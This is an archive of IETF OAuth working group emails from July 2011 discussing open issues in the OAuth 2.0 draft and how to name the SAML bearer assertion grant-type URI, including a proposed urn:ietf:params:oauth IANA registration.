amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yQIoaeoM1B-e for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 22B5921F86A1 for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXR8-0001R7-Cv; Sat, 09 Jul 2011 06:19:10 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:19:10 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/20 Message-ID: <063.d2e3e177c42cab82db1b04c4a7864fa6@trac.tools.ietf.org> X-Trac-Ticket-ID: 20 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #20: Missing reference to DOM variable example in section 10.12 Cross-Site Request Forgery X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:47:08 -0000 #20: Missing reference to DOM variable example in section 10.12 Cross-Site Request Forgery -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: defect | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From eran@hueniverse.com Sat Jul 9 08:02:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CE61D21F877E for ; Sat, 9 Jul 2011 08:02:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.643 X-Spam-Level: X-Spam-Status: No, score=-2.643 tagged_above=-999 required=5 tests=[AWL=-0.044, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ASHZxHaYLQoy for ; Sat, 9 Jul 2011 08:02:34 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 586FD21F8676 for ; Sat, 9 Jul 2011 08:02:34 -0700 (PDT) Received: (qmail 11267 invoked from network); 9 Jul 2011 15:02:33 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 9 Jul 2011 15:02:31 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Sat, 9 Jul 2011 08:02:30 -0700 From: Eran Hammer-Lahav To: Barry Leiba , OAuth WG Date: Sat, 9 Jul 2011 08:02:24 -0700 Thread-Topic: [OAUTH-WG] draft-ietf-oauth-v2-18 Thread-Index: Acw+OzasSSCOQV02SPuGTrdPSgUZJgADde/A Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0141@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 15:02:34 -0000 We probably need some help from the chairs to close 15-18. Maybe make an of= ficial request for feedback with a deadline? EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Barry Leiba > Sent: Saturday, July 09, 2011 6:22 AM > To: OAuth WG > Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 >=20 > > List of open issues: > > > > * Consensus for new Client Registration section (2) > > * Consensus for revised Redirection URI section (3.1.2) > > * Consensus for new token endpoint Client Authentication section > > (3.2.1) > > * Consensus for new authorization endpoint response type extensibility > > (8.4) > > * Missing example from security section 10.4 Refresh Tokens > > * Missing reference to DOM variable example in section 10.12 Cross-Site > > Request Forgery > > * Need editing for 10.13 Clickjacking to better align with the protocol > terminology, > > missing reference for x-frame-options header > > > > (This is the complete list. If you have an issue not listed you must > > raise it again as it is not being tracked.) >=20 > I have put this list into the datatracker: > http://trac.tools.ietf.org/wg/oauth/trac/report/1 >=20 > Please let me know as they get resolved, so I can update it. Also, if yo= u open > new threads for new issues, please make it clear that you're asking for a= new > issue to be created. >=20 > Barry, as chair > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Sat Jul 9 08:04:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5559921F87B9 for ; Sat, 9 Jul 2011 08:04:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.642 X-Spam-Level: X-Spam-Status: No, score=-2.642 tagged_above=-999 required=5 tests=[AWL=-0.043, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GGr0jlnp1z2g for ; Sat, 9 Jul 2011 08:04:20 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id B746421F8799 for ; Sat, 9 Jul 2011 08:04:20 -0700 (PDT) Received: (qmail 12765 invoked from network); 9 Jul 2011 15:04:20 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 9 Jul 2011 15:04:20 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sat, 9 Jul 2011 08:04:20 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Sat, 9 Jul 2011 08:04:14 -0700 Thread-Topic: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] Thread-Index: Acw+NyN0PRNZ2Yj5QPONyXaVrDV+/QAEkbQQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0142@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 15:04:21 -0000 Sounds reasonable. Can you provide a schedule outline? EHL > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Saturday, July 09, 2011 5:53 AM > To: Eran Hammer-Lahav > Cc: oauth > Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] >=20 > Thanks for the response, Eran. I'm breaking this thread up into the disti= nct > issues. Reply inline below to the first item about client auth. >=20 > On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav > wrote: > > > > > However, the SAML draft does not currently cover SAML for client > > > authentication and profiling draft-ietf-oauth-assertions would > > > suggest that it should. =A0Is there any general consensus as to if > > > SAML should be profiled as a client authentication method? =A0It is > > > certainly feasible but might require restructuring and retitling the = draft. > > > > Are there use cases pending such functionality today? It would be a sha= me > to delay an otherwise useful draft when the functionality can be added la= ter. >=20 > I don't have any such use cases in the near future. Perhaps others can s= peak > up? I personally see assertion based grants as being more important and > more immediately useful. That was one of the reasons I was looking to ke= ep > assertion grants and client assertion authentication separate. That said= , > Chuck has done a nice job with his general treatment of them together in > draft-ietf-oauth-assertions and the logical thing to do, in terms of how = the > various documents play together, would be to have draft-ietf-oauth-saml2- > bearer cover client auth now too. From eran@hueniverse.com Sat Jul 9 08:17:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8DDB921F87C2 for ; Sat, 9 Jul 2011 08:17:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.641 X-Spam-Level: X-Spam-Status: No, score=-2.641 tagged_above=-999 required=5 tests=[AWL=-0.043, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id p3u07l0kqH8a for ; Sat, 9 Jul 2011 08:17:30 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id AF24B21F87BA for ; Sat, 9 Jul 2011 08:17:30 -0700 (PDT) Received: (qmail 28557 invoked from network); 9 Jul 2011 15:17:30 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 9 Jul 2011 15:17:29 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Sat, 9 Jul 2011 08:17:25 -0700 From: Eran Hammer-Lahav To: "apps-discuss@ietf.org" Date: Sat, 9 Jul 2011 08:17:20 -0700 Thread-Topic: URI for OAuth SAML assertion grant type Thread-Index: Acw+SvrbRVrfupquSIaLgHqeJqAqkw== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A0143P3PW5EX1MB01E_" MIME-Version: 1.0 Cc: OAuth WG Subject: [OAUTH-WG] URI for OAuth SAML assertion grant type X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 15:17:31 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A0143P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable The OAuth WG is looking for assistance from the application area community. OAuth 2.0 [1] defines a URI-namespaced method for defining extension grant = types[2]. The first specification to use this method needs to pick a URI id= entifier for using SAML assertions [3]. Options proposed: urn:oasis:names:tc:SAML:2.0:assertion urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer http://oauth.net/grant_type/saml/2.0/bearer Is there a BCP established for this? We need to pick a value quickly and mo= ve on. EHL [1] http://tools.ietf.org/html/draft-ietf-oauth-v2-18 [2] http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.3 [3] http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A0143P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

The OAuth WG is = looking for assistance from the application area community.

<= p class=3DMsoNormal> 

OAuth 2.0 [1]= defines a URI-namespaced method for defining extension grant types[2]. The= first specification to use this method needs to pick a URI identifier for = using SAML assertions [3]. Options proposed:

 

urn:oasis:names:tc:SAML:2.0:= assertion

urn:ietf:wg:oauth:2.0:grant_ty= pe:saml:2.0:bearer

http://oauth.net/grant_type/saml/2.0/bearer

 

Is t= here a BCP established for this? We need to pick a value quickly and move o= n.

 

EHL

 

[1] http://tools.ietf.org/html/draft-ietf-oauth-v2-18

[2] http://tools.ietf.org/html/draft-ietf-oauth-v2-18#sect= ion-8.3

[3] http://tools.ietf.org/html/= draft-ietf-oauth-saml2-bearer-04

 

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D4A0143P3PW5EX1MB01E_-- From eran@hueniverse.com Sat Jul 9 08:19:36 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BFEF121F87E9 for ; Sat, 9 Jul 2011 08:19:36 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.34 X-Spam-Level: X-Spam-Status: No, score=-2.34 tagged_above=-999 required=5 tests=[AWL=-0.341, BAYES_00=-2.599, J_CHICKENPOX_34=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ytiMkoAJtxnY for ; Sat, 9 Jul 2011 08:19:36 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 2F82421F8786 for ; Sat, 9 Jul 2011 08:19:36 -0700 (PDT) Received: (qmail 24963 invoked from network); 9 Jul 2011 15:19:36 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 9 Jul 2011 15:19:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Sat, 9 Jul 2011 08:19:35 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Sat, 9 Jul 2011 08:19:30 -0700 Thread-Topic: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] Thread-Index: Acw+OkeetteNvZL6Q/a/bcrsEjdW7AAD1x1w Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0144@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 15:19:36 -0000 > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Saturday, July 09, 2011 6:15 AM > To: Eran Hammer-Lahav > Cc: oauth > Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] >=20 > Discussion on the other item, the grant_type URI, inline below. >=20 > This whole thing seems like it shouldn't be an issue at all as there's no > functionality involved. But I've been hung up on it for a while and the = spec > needs some URI. I could *really* use the advice of the AD and/or Chairs o= n > this. Or anyone with more experience with defining and using URIs/URNs. >=20 > Thanks. >=20 > On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav > wrote: > > > >> Item 2: URI(s) > >> The value for grant_type is currently defined as > >> http://oauth.net/grant_type/saml/2.0/bearer but there have been some > >> questions raised about the stability and appropriateness of the URL. > > > > I'm not a fan. > > > >> I really did read RFCs 2648 & 3553, as was suggested at the last F2F > >> meeting, but it's not clear to me how to register an IETF URI and/or > >> if those RFCs are fully appropriate for this. =A0If someone could > >> explain it to me in terms my preschooler could understand, maybe I > >> could jump though the proper hoops to get the URI to be something like > urn:ietf:something:something. > > > > Asking on the URN list usually helps. >=20 > I can try that. >=20 > I'm thinking it'd be something like > urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer which is largely based o= n > seeing the use of urn:ietf:wg:oauth:2.0:oob - was there an actual registr= ation > done for that? Or did it just start getting used? > Is doing that okay? 2648 is pretty limited in what it offers for the urn:ietf namespace. I'll p= ost something to the app area list. > > > >> Otherwise, I can continue to use > >> http://oauth.net/grant_type/saml/2.0/bearer and, assuming the draft > >> should also cover client authentication, also define > >> http://oauth.net/client_assertion_type/saml/2.0/bearer. =A0The JWT > >> version could then follow a similar pattern. =A0Or perhaps we could us= e > >> the URI, urn:oasis:names:tc:SAML:2.0:cm:bearer which is defined in > >> section 3.3 of saml-profiles-2.0-os as URI that identifies the bearer > >> subject confirmation method. =A0It seems like that might be close > >> enough to work out without violating anything serious. =A0And it could > >> be used for both grant_type and client_assertion_type, which is nice. > > > > Don't use an OASIS URN. That's asking for trouble. >=20 > Is it really? Because it's conceptually inappropriate? Or because of so= me > supposed (or real) rift between standards bodies? I mean, this whole dra= ft is > about profiling SAML assertions (an OASIS spec) for use with OAuth (soon = an > IETF spec). Would using a URN too be so terrible? >=20 > You'd previously suggested (or asked why I didn't use) > urn:oasis:names:tc:SAML:2.0:assertion which is the XML NS for the OASIS > SAML assertion schema. Would that somehow be different? That is still a= n > option too, I think. I hadn't used it because I wanted to differentiate = the > means of confirming/validating the assertion - as a bearer token - while > leavening room for holder of key or other methods in the future. But usi= ng > that NS wouldn't necessary preclude it. I was also looking for an identi= fier > that would enable easy web searching and > urn:oasis:names:tc:SAML:2.0:assertion wouldn't really do that. My experience is that people at the IETF have an allergic reaction to OASIS= and while SAML is well-established, I would be surprised if you get far wi= th using an OASIS namespace. Also, OASIS should be the only entity controll= ing the use of their identifiers and in theory, might want to use it with O= Auth in a different way. EHL From Michael.Jones@microsoft.com Sat Jul 9 09:25:10 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E6EC121F8800 for ; Sat, 9 Jul 2011 09:25:10 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.599 X-Spam-Level: X-Spam-Status: No, score=-10.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id bXLfnH2QS8-5 for ; Sat, 9 Jul 2011 09:25:10 -0700 (PDT) Received: from smtp.microsoft.com (mail3.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 3B39F21F87FB for ; Sat, 9 Jul 2011 09:25:10 -0700 (PDT) Received: from TK5EX14MLTC104.redmond.corp.microsoft.com (157.54.79.159) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Sat, 9 Jul 2011 09:25:09 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14MLTC104.redmond.corp.microsoft.com ([157.54.79.159]) with mapi id 14.01.0323.002; Sat, 9 Jul 2011 09:25:09 -0700 From: Mike Jones To: Brian Campbell , Eran Hammer-Lahav Thread-Topic: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] Thread-Index: AQHMPjpMB3X2xDS47kisQZzjgM9+XZTkLN8Q Date: Sat, 9 Jul 2011 16:25:09 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D422DF@TK5EX14MBXC201.redmond.corp.microsoft.com> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.34] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 16:25:11 -0000 If you're going with urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer in th= e SAML assertion profile, I'll use urn:ietf:wg:oauth:2.0:grant_type:jwt:1.0= :bearer in the JWT assertion profile. -- Mike -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of B= rian Campbell Sent: Saturday, July 09, 2011 6:15 AM To: Eran Hammer-Lahav Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] Discussion on the other item, the grant_type URI, inline below. This whole thing seems like it shouldn't be an issue at all as there's no f= unctionality involved. But I've been hung up on it for a while and the spe= c needs some URI. I could *really* use the advice of the AD and/or Chairs o= n this. Or anyone with more experience with defining and using URIs/URNs. Thanks. On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav wr= ote: > >> Item 2: URI(s) >> The value for grant_type is currently defined as=20 >> http://oauth.net/grant_type/saml/2.0/bearer but there have been some=20 >> questions raised about the stability and appropriateness of the URL. > > I'm not a fan. > >> I really did read RFCs 2648 & 3553, as was suggested at the last F2F=20 >> meeting, but it's not clear to me how to register an IETF URI and/or=20 >> if those RFCs are fully appropriate for this. =A0If someone could=20 >> explain it to me in terms my preschooler could understand, maybe I=20 >> could jump though the proper hoops to get the URI to be something like u= rn:ietf:something:something. > > Asking on the URN list usually helps. I can try that. I'm thinking it'd be something like urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer which is largely based on = seeing the use of urn:ietf:wg:oauth:2.0:oob - was there an actual registrat= ion done for that? Or did it just start getting used? Is doing that okay? > >> Otherwise, I can continue to use >> http://oauth.net/grant_type/saml/2.0/bearer and, assuming the draft=20 >> should also cover client authentication, also define=20 >> http://oauth.net/client_assertion_type/saml/2.0/bearer. =A0The JWT=20 >> version could then follow a similar pattern. =A0Or perhaps we could use= =20 >> the URI, urn:oasis:names:tc:SAML:2.0:cm:bearer which is defined in=20 >> section 3.3 of saml-profiles-2.0-os as URI that identifies the bearer=20 >> subject confirmation method. =A0It seems like that might be close=20 >> enough to work out without violating anything serious. =A0And it could=20 >> be used for both grant_type and client_assertion_type, which is nice. > > Don't use an OASIS URN. That's asking for trouble. Is it really? Because it's conceptually inappropriate? Or because of some= supposed (or real) rift between standards bodies? I mean, this whole draf= t is about profiling SAML assertions (an OASIS spec) for use with OAuth (so= on an IETF spec). Would using a URN too be so terrible? You'd previously suggested (or asked why I didn't use) urn:oasis:names:tc:S= AML:2.0:assertion which is the XML NS for the OASIS SAML assertion schema. = Would that somehow be different? That is still an option too, I think. I= hadn't used it because I wanted to differentiate the means of confirming/v= alidating the assertion - as a bearer token - while leavening room for hold= er of key or other methods in the future. But using that NS wouldn't neces= sary preclude it. I was also looking for an identifier that would enable e= asy web searching and urn:oasis:names:tc:SAML:2.0:assertion wouldn't really= do that. _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From hannes.tschofenig@gmx.net Sat Jul 9 09:40:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CF5A321F8677 for ; Sat, 9 Jul 2011 09:40:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.583 X-Spam-Level: X-Spam-Status: No, score=-102.583 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YO4K+vk2uxZE for ; Sat, 9 Jul 2011 09:40:41 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.23]) by ietfa.amsl.com (Postfix) with SMTP id D0F7621F86BF for ; Sat, 9 Jul 2011 09:40:40 -0700 (PDT) Received: (qmail invoked by alias); 09 Jul 2011 16:40:38 -0000 Received: from letku101.adsl.netsonic.fi (EHLO [10.0.0.6]) [194.29.195.101] by mail.gmx.net (mp037) with SMTP; 09 Jul 2011 18:40:38 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX18avVFnnUIalc/2aQfUF+E/um4qNTswoZ7ViNqgK1 IQSEBpKdxqfxGP Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: Hannes Tschofenig In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Sat, 9 Jul 2011 19:40:36 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> To: Eran Hammer-Lahav X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Cc: OAuth WG , "apps-discuss@ietf.org" Subject: Re: [OAUTH-WG] URI for OAuth SAML assertion grant type X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 16:40:41 -0000 Hi Eran,=20 http://oauth.net/grant_type/saml/2.0/bearer is definitely not a good = idea since a lookup would not return anything useful (most likely it = will just fail).=20 Whenever there is something that can be looked up, it will be looked up = .=20 I would create an IETF URN Sub-namespace, as documented in RFC 3553. An = example of such a sub-namespace is xml and described in RFC 3688.=20 So, one could define a new 'oauth' sub-namespace. This would then look = like urn:ietf:params:oauth. Then, OAuth relevant parameters would be = established underneath it.=20 To get this done three things are needed:=20 1) Text that requests the oauth sub-namespace text This text has to go into draft-ietf-oauth-v2. 2) Text that defines how values are added to this new registry This text has to go into draft-ietf-oauth-v2. 3) Text that registers already defined values.=20 This text would go into draft-ietf-oauth-saml2-bearer following the = template created with (2).=20 Regarding (1), example text could look like: --------- IETF URN Sub-namespace Registration urn:ietf:params:oauth Per [RFC3553], IANA is requested to establish the following registry. = New entries to the registry are Specification Required. Registry name: urn:ietf:params:oauth Specification: Section X of this document contains the registry = specification. Repository: To be assigned according to the guidelines found above. Index value: The class name --------- Regarding (2), example text could look like:=20 =20 --------- Section X: Registration Template for Sub-Namspace Registration of = urn:ietf:params:oauth =20 If the registrant wishes to have a URI assigned, then a URN of the form urn:ietf:params:oauth:: will be assigned where is the category of the parameters = being registered. is a unique id generated by the IANA based on any means the IANA deems necessary to maintain uniqueness and persistence. NOTE: in order for a URN of this type to be assigned, the item being registered MUST be documented in a RFC. The RFC 3553 [RFC3553] URN registration template is found in the IANA consideration section of this document. =20 The registration procedure for new entries to the requires a request = in the form of the following template: URN: The token URI that identifies the registerd component. If the registrant is requesting that the IANA assign a URI then this field should be specified as "please assign". =20 Common Name:=20 The name by which the functionality being registered is generally = referred. =20 Registrant Contact: The individual/organization that is the registration contact for the component being registered. Ideally, this will be the name and pertinent physical and network contact information. In the case of IETF developed standards, the Registrant will be the IESG. Description: Information about the registered functionality. =20 =20 --------- Regarding (3), example text could look like:=20 =20 --------- Sub-Namspace Registration of = urn:ietf:params:oauth:grant-type:saml2-bearer This is a request to IANA to please register the value = grant-type:saml2-bearer in the registry urn:ietf:params:oauth = established in [draft-ietf-oauth-v2].=20 URN: urn:ietf:params:oauth:grant-type:saml2-bearer Common Name: SAML 2.0 Bearer Assertion Grant Type Profile for OAuth = 2.0 =20 Registrant Contact: IESG =20 Description: [[this document]] =20 --------- Other grant types would then go in = urn:ietf:params:oauth:grant-type:saml2-holder-of-the-key Other OAuth related parameters then go under = urn:ietf:params:oauth:foobar Ciao Hannes On Jul 9, 2011, at 6:17 PM, Eran Hammer-Lahav wrote: > The OAuth WG is looking for assistance from the application area = community. > =20 > OAuth 2.0 [1] defines a URI-namespaced 